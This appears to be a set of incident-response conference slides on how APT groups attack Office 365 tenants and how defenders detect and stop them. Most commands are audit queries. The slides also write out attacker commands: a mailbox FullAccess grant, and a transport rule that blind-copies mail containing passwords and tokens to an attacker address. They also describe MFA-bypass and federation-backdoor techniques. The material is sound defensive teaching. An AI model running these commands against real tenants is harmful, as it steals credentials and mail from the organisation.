My Cloud is APTs Cloud: Attacking and Defending O365

Doug Bienstock and Josh Madeley
Doug Bienstock
@Doughsec

- Incident Response Manager – 6 years with Mandiant
- Incident Response and Red Team lead
- Love/hate relationship with Office 365
- Lifelong Green Bay Packers fan
Josh Madeley
@madeleyjosh

- Consulting Manager – 4.5 years with Mandiant
- Incident Response Lead
- Cloud Connoisseur
- Begrudgingly Polite Canadian Ex-Pat
- Die hard rugby fan
## Overview

- **Office 365 Crash Course**
- **Initial Access and Persistence**
- **Complete Mission**

### Takeaway:
APT is investing a lot of time and money into Office 365, and you should too...
Email in the Cloud…and much, much more

- Office 365 is a suite of cloud-based applications
- Exchange Online is Exchange Server ported to the cloud
- User Identity is backed by Azure AD which is AD ported to the cloud
- SharePoint Online is SharePoint ported for the cloud
- Word Online is ….you get the idea
- Accessible from anywhere in the world
- Used by a lot of large organizations
Authentication

Identity really is the new perimeter

Managed Authentication

- Azure AD handles the authentication using a locally-stored hash or
- Sends the credentials to an on-premise agent on the local AD server
- Preferred by Microsoft
- Easy to manage and maintain

Federated Authentication

- Authentication is passed off to a trusted third-party
- AD FS, Okta, Ping
- The third party sends cryptographically signed tokens to Azure AD
  - Azure AD verifies the signature and user info in the token to authenticate a user
- More difficult to implement and maintain
Modern vs. Legacy Authentication

Modern Authentication
• The standard and recommended sign-in method
• Uses OAuth behind the scenes
• Supports advanced security
• Multi Factor Authentication (MFA)
• Conditional Access Policies (CAP)

Legacy Authentication (enabled by default)
• Used by several “legacy” protocols
• POP, IMAP, MAPI
• PowerShell, Exchange Web Services, AutoDiscover
• Does not support MFA
• Will be disabled eventually
  o Microsoft keeps extending the support
• Access can be limited using policy
Core Logs

• Three core logs
  o Unified Audit Log
  o Mailbox Audit Log
  o Admin Audit Log
• Bonus Logs
  o Azure AD Logs
• Extras
  o Mail Trace
  o Security and Compliance Reports
Office 365 Attack Life Cycle

INITIAL RECONNAISSANCE
- Azure AD PowerShell

INITIAL COMPROMISE
- Password Spray
- Phishing Email
- Compromise on-premise network

ESTABLISH FOOTHOLD
- OAuth consent
- Conditional Access Policies

ESCALATE PRIVILEGES

INTERNAL RECONNAISSANCE
- eDiscovery Search

COMPLETE MISSION
- Forwarding Rules
- Graph API
- Transport Rules
- eDiscovery Search

Maintain Presence
Move Laterally
Initial Access
And
Establish Foothold
Azure AD PowerShell
MFA bypass #1

- Victim organizations used policies to enforce MFA for all sign-ins
- Logs showed the attacker was connecting to the tenant without it
- Enter Azure Active Directory PowerShell (AzureAD)
  - Contains valuable information on all your users, like a GAL or AD database
  - Any user (even unlicensed) can use the Azure AD cmdlet, and it can’t be disabled
  - Until recently you could not enforce MFA for this application (no patch notes to tell us when fixed)

PS > Connect-AzureAD
PS > Get-AzureADUser

<table>
<thead>
<tr>
<th>ObjectId</th>
<th>DisplayName</th>
<th>UserPrincipalName</th>
<th>UserType</th>
</tr>
</thead>
<tbody>
<tr>
<td>Xxxx-xxxx</td>
<td>John Doe</td>
<td><a href="mailto:John.Doe@example.com">John.Doe@example.com</a></td>
<td>Member</td>
</tr>
</tbody>
</table>
Azure AD PowerShell

MFA bypass #1

- Attackers leveraged CVE-2019-19781 to access a Citrix Netscaler and obtain the password for the LDAP connector account
  o Connected to Azure AD PowerShell using the account and dumped the list of all users
  o Used the information to conduct massive password spray attack and targeted phishing of users
- Attackers conducted a password spray against limited number of email addresses obtained via OSINT
  o Connected to Azure AD PowerShell and exported the full list of users and groups
  o Extorted victims with the threat of selling the information on the criminal market
Microsoft Exchange Online PowerShell

MFA bypass #2

- Attacker logins to the environment were coded as the “Microsoft Online Syndication Partner Portal” (MOSPP) and the user agent included “MSOIDSVC.exe”
  - Client had never heard of this portal, and their tenant was not setup or managed by a partner

<table>
<thead>
<tr>
<th>User</th>
<th>Username</th>
<th>User ID</th>
<th>Alternate sign-in name</th>
<th>Application</th>
<th>Application ID</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Microsoft Online Syndication Partner Portal</td>
<td>d175f6e7-38e5-40c9-8a78-3998aab820e7</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Token issuer type</th>
<th>Azure AD</th>
</tr>
</thead>
<tbody>
<tr>
<td>Token issuer name</td>
<td></td>
</tr>
<tr>
<td>Latency</td>
<td>100ms</td>
</tr>
<tr>
<td>User agent</td>
<td></td>
</tr>
</tbody>
</table>
Microsoft Exchange Online PowerShell
Legacy software strikes again

- MSOIDSVC.exe is the “Microsoft Online Services Sign-In Assistant”
  - Basically an authentication broker for desktop apps that connect to O365
- Older versions of Microsoft Exchange Online PowerShell required this to work
  - The Application ID for these older versions were for improperly coded as the MOSPP
- **Bug**: This combination of software bypassed conditional access and any MFA requirements
  - Recently fixed by Microsoft (no release notes/advisories to tell us exactly when)
OAuth Abuse
Apps increase synergy

• Developers can create applications to access Office 365 data on user’s behalf
  o Bypasses MFA by design and can allow access for up to 90 days
  o Tool and blog on technique released by Doug as well as others in the security community
• Gained notoriety during the 2016 presidential election
• Multiple campaigns observed since, varying in sophistication
OAuth Abuse
Don’t let it happen

• For all licenses: Turn off the ability for users to consent to apps!
  o Allowing users to do this puts to much trust in them. Don’t trust your end users
  o Admins can still approve apps that have been vetted
• For E5/Security & Compliance: You can use Cloud App Security to “discover” and monitor the application consents in your tenant
  o Look at the “risk level” (what type of access does this app need)
  o Prevalence of the app (globally and in your tenant)
  o When in doubt, revoke access and blacklist application
Persistence
Modifying Conditional Access

No policy no problem

- Attacker had gained access to the corporate VPN and logged in to O365 from there
- CAP blocked legacy auth and enforced MFA from the outside
- The attacker added their C2 IP addresses to the Azure AD “MFA Trusted IPs” list
  - No more MFA!
  - C2 was an Azure VM! (logons recorded from a “legit” Microsoft IP address)
Malicious Identity Provider
An Azure AD Backdoor

- Client had been investigating an O365 compromise – enforced password resets and MFA enrollment on their user base but the attacker was still logging in?
- Attacker exploited a bug in Office 365 and knowledge of how federated authentication works to create a backdoor to Azure AD
  - **Bug:** Any domain could be configured as “federated” without proving ownership
  - **Knowledge:** Azure AD only checks two things when validating federated authentication tokens: 1) the token’s digital signature verifies against the public key stored in Azure AD 2) the `immutableID` provided matches to a user in Azure AD.
  - AzureAD does not check that the user’s domain in the token comes from a matching issuer
  - i.e. a token issued by evil.com can be used to login brett.favre@victim.org
Malicious Identity Provider

Details

• By setting up an additional unverified domain as federated, the attacker has specified an alternative authentication provider for the entire tenant and all domains configured in it.

• With knowledge of a user’s ImmutableID (from previous access) an attacker can use their newly created authentication provider to authenticate as any user and bypass any MFA requirements.

• (Sort of) fixed: Microsoft no longer allows unverified domains to function as federated authentication providers. However, it would be trivial and stealthy for an attacker to add a new verified domain and conduct the same attack.

  o This technique has been blogged about as early as 2018 (https://o365blog.com/post/aadbackdoor/)
Golden SAML
Who needs MFA

• Technique described in detail @ TROOPERS 19 talk by Doug
• Attacker gains access to the internal network and steals two critical pieces of data
  o The encrypted SAML signing certificate from the AD FS server database
  o DKM key from Active Directory used to decrypt the SAML signing certificate
• Attacker uses this data to issue and sign their own security tokens
  o Bypasses MFA by adding an attribute that authentication came from a trusted location
• Signing certificate is valid for one year → attacker can access any application secured by AD FS for up to one year
• Recently observed in the wild: SMB flow logs revealed attacker copying the AD FS database and transferring it to their C2
Golden SAML
Safety first

• Realize that your AD FS server is a Tier 0 device and must be secured as such
  o Hardening, limit access, network segmentation
• Be prepared to reset your AD FS signing certificate
  o If you have a farm of AD FS servers, this can get a little complex
• Include AD FS resets in your Incident Response Plan, just like KRBTGT reset
Complete Mission
Mail Forwarding
Boring but effective

SMTP Forwarding
• All messages are forwarded to a predefined address
• Recorded by the Set-Mailbox event
• Easy to identify within the mailbox configuration

Inbox Rules
• Attacker creates rules that can modify incoming messages
• Includes forwarding or storing in a hidden folder
• New-InboxRule – new rule is created
• Set-InboxRule – existing rule is modified

PS > Get-Mailbox -ResultSize Unlimited| Select-Object UserPrincipalName,ForwardingAddress,ForwardingSmtpAddress
PS > Get-Mailbox -ResultSize Unlimited | ?{Get-InboxRule -Mailbox $_.UserPrincipalName}
PS > Search-UnifiedAuditLog -Operations Set-Mailbox,New-InboxRule,Set-InboxRule
PS > Get-MessageTrace -RecipientAddress <attacker address>
Rights Delegation
Still boring but effective

- Assigns rights to access content from another mailbox
- Different Levels
  - FullAccess
  - SendAs
  - SendOnBehalf
- Usually assigned to a service account
- Generates an Add-MailboxPermissionEvent

```powershell
PS > Add-MailboxPermission -Identity "Printer Service" -User "Alice Smith (CEO)" -AccessRights FullAccess -InheritanceType All
```
Mail Flow/Transport Rules

Why focus on one account?

- Identify and act on messages that flow through Exchange Online
  - Block attachments
  - Bypass Clutter
  - Block messages with unacceptable language
- Rarely reviewed by admins and malicious entries blend easily
- Attackers leverage these rules to forward messages that contain
  - Password reset information
  - MFA tokens

```powershell
PS > New-TransportRule -BlindCopyTo operator@apts.rus -Name "DLPRules" -ContentCharacterSetContainsWords "token","password","account created", "password reset" -Priority 1
```
Graph API
Even attackers automate things

- RESTful web API that enables you to access Microsoft Cloud service resources
  - Read emails
  - Create events
  - Do everything
- Advanced attackers have registered OAuth applications and convinced select users to consent to access
- Polled mailbox contents to review data every day
- Password changes did not fix problem due the OAuth integration
- Can be account specific or tenant wide
eDiscovery Abuse

…all the things

- Goldmine for attackers
- Let’s attackers search and download content in:
  - Exchange Online
  - Microsoft Teams
  - SharePoint Online
  - OneDrive for business
  - Skype for business (yes, companies still use this)
  - Yammer (not sure if any companies ever used this)
- The Unified Audit Log entries don’t record IP addresses or a SessionID
  - All correlation is based on username
Conclusions
Closing thoughts

• Enforce MFA for everyone. Now. Do it.
• Use policies to block legacy authentication for all users
• Ensure you are sending Office 365 logs to your SIEM and you have alerts configured
• Understand the types of information that are in Office 365 (not just email) and realize your security investment appropriately to deal with this
• Understand that APT groups are aware of Office 365 and investing considerable effort in learning how to use and abuse it
• APT groups are not afraid to modify the configurations of your cloud services